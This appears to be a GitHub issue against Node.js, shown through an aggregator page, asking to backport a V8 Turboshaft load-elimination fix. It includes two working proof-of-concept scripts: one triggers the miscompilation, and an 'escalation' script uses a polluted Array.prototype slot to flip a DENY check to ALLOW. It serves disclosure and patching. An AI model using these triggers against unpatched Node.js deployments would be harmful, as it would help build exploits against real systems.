nodejs / nodejs/node

V8 Turboshaft LLE alias bug (554421904) not backported to V8 14.6 (Node.js v26)

Đang mở
#66,083 4 bình luận 0 reaction 0 người được giao Xem trên GitHub

Chưa có ai nhận issue này.

Ngôn ngữ chính
JavaScript
Star
122k
Fork
37.3k
Merge trung bình
4 ngày 2 giờ
Pull request đã merge (30 ngày)
283

Mô tả

Summary

V8 bug 554421904"Turboshaft LLE: non-writing calls can create aliases" — is fixed upstream in V8 15.3 / Chrome 153 by commit b44239fe. The fix is not present in the V8 14.6 snapshot shipped by current stable Node.js v26.3.0.

An optimized function returns a wrong value (undefined instead of 1.1) because Turboshaft's Late Load Elimination (LLE) marks a BoundFunction invocation as a non-writing call, but the call creates a hidden alias to an input array and writes through that alias. LLE does not invalidate its tracked state, so a subsequent valid store (set7) is eliminated — the returned array slot stays undefined.

This is a backport request: please apply b44239fe to Node.js's V8 14.6 line, or confirm it is already scheduled.


Environment

Node.js v26.3.0 (current stable)
V8 14.6.202.34-node.20
Platform macOS arm64 (compiler-level bug — platform independent)
Reproduced 5/5 fresh processes
Fixed in Chrome 153 / V8 15.3 (commit b44239fe) — absent in Node.js v26

Steps to Reproduce

node --allow-natives-syntax v8-lle-poc.js

Actual output (wrong) on Node.js v26.3.0:

Optimization status: 65 | Turboshaft(64): true | TurboFan(2): false | Maglev(16): false
staleArray[0]: 1.1  | expected: 1.1  | OK
staleArray[7]: undefined | expected: 1.1  | WRONG!
target.length: 0    | expected: 0    | OK
RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store
  V8: 14.6.202.34-node.20 | Node: v26.3.0

Expected output (patched build):

staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: 1.1 | expected: 1.1 | OK
target.length: 0   | expected: 0   | OK
RESULT: NOT TRIGGERED on this build

PoC #1 — Correctness (v8-lle-poc.js)

// V8 Turboshaft LLE alias bug (V8 554421904) — NOT backported to V8 14.6 (Node.js v26)
// Upstream fix: commit b44239fe (V8 15.3 / Chrome 153)
// Run: node --allow-natives-syntax v8-lle-poc.js
'use strict';

function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
  const receiver = rest[32765] ? rest[32766] : doubleArray;
  set0(receiver, 1.1);
}
function victim(payload) {
  const staleArray = Array(8);
  const target = [];
  if (!trigger) staleArray.x = 0;
  boundCarrier(trigger, staleArray);
  set7(staleArray, payload);
  return { target, staleArray };
}

%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);

const doubleArray = Array(8);
set0(doubleArray, 1.1);
set7(doubleArray, 0);
set0(Array(8), 0);

const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));

let trigger = 0;
victim(0);
trigger = 1;
boundCarrier(trigger, doubleArray);
trigger = 0;
victim(0);

%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const { target, staleArray } = victim(1.1);

const status = %GetOptimizationStatus(victim);
console.log('Optimization status:', status, '| Turboshaft(64):', !!(status & 64));

const a0 = staleArray[0];
const a7 = staleArray[7];
console.log('staleArray[0]:', a0, '| expected: 1.1 |', a0 === 1.1 ? 'OK' : 'WRONG!');
console.log('staleArray[7]:', a7, '| expected: 1.1 |', a7 === 1.1 ? 'OK' : 'WRONG!');

if (a0 === 1.1 && a7 === 1.1) {
  console.log('RESULT: NOT TRIGGERED on this build');
} else {
  console.log('RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store');
  console.log('  V8:', process.versions.v8, '| Node:', process.version);
}

PoC #2 — Escalation (v8-lle-escalation.js)

'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
  const receiver = rest[32765] ? rest[32766] : doubleArray;
  set0(receiver, 1.1);
}
function victim(payload) {
  const staleArray = Array(8);
  const target = [];
  if (!trigger) staleArray.x = 0;
  boundCarrier(trigger, staleArray);
  set7(staleArray, payload);      // DENY write — LLE target
  return staleArray[7];           // own property if written, else prototype
}

%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);

const doubleArray = Array(8);
set0(doubleArray, 1.1); set7(doubleArray, 0); set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));

let trigger = 0; victim(0);
trigger = 1; boundCarrier(trigger, doubleArray);
trigger = 0; victim(0);

Array.prototype[7] = 'ALLOW';   // attacker-controlled prototype slot

%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const r = victim(0);   // payload 0 = DENY

console.log('status:', %GetOptimizationStatus(victim), '| returned arr[7]:', r);
console.log(r === 0 ? 'DENY OK (secure)' : 'STALE ALLOW via prototype — security decision on wrong value!');
delete Array.prototype[7];

Confirmed output (Node.js v26.3.0):

status: 65 | returned arr[7]: ALLOW
STALE ALLOW via prototype — security decision on wrong value!

Note: the escalation requires attacker-controlled JS execution. It demonstrates the maximal impact class of the miscompilation only, not a standalone boundary-crossing claim.


Root Cause

  • boundCarrier = carrier.bind(null, ...Array(32765).fill(0)) — 32,765 bound args + 2 call args = 32,767 (kMaxArguments)
  • Turboshaft LLE marks the BoundFunction invocation as !can_write() because it only allocates new memory for argument marshalling
  • Inside carrier, rest[32766] is staleArray — the call created an alias to the input, and set0 writes through it
  • LLE does not invalidate staleArray's state, so set7(staleArray, payload) is eliminated
  • Result: staleArray[7] stays undefined

Upstream commit message (b44239fe) confirms:

"The can_write effect really means 'can write to pre-existing memory'... A builtin that allocates memory and writes to it can be marked as !can_write(), but it could still create aliases to its inputs, which we do need to invalidate."


Suggested Fix

Backport V8 commit b44239fe
Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8
"[M153] [turboshaft] LLE: non-writing calls can create aliases" — Fixed: 554421904

References

Hướng dẫn đóng góp

Mở hướng dẫn đóng góp

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Hướng nghiên cứu

Bắt đầu bằng cách so sánh snapshot V8 14.6 của Node.js với upstream commit b44239fe, sau đó chạy v8-lle-poc.js và v8-lle-escalation.js bằng lệnh Node.js v26 được tài liệu hóa. Kiểm tra quy trình backport V8 và xác thực một bản build đã được áp dụng patch dựa trên cả hai đầu ra mong đợi; được xem là hoàn tất khi fix đã được áp dụng hoặc lịch trình của nó đã được xác nhận.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Đánh giá

Công nghệ
javascript, nodejs
Lĩnh vực
compilers
Loại issue
Lỗi
Độ khó
4/5
Thời gian dự kiến
3-5 ngày
Mức độ hoạt động
Sôi nổi
Độ rõ ràng
Đặc tả rõ ràng
Mức phù hợp với người mới
48/100

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.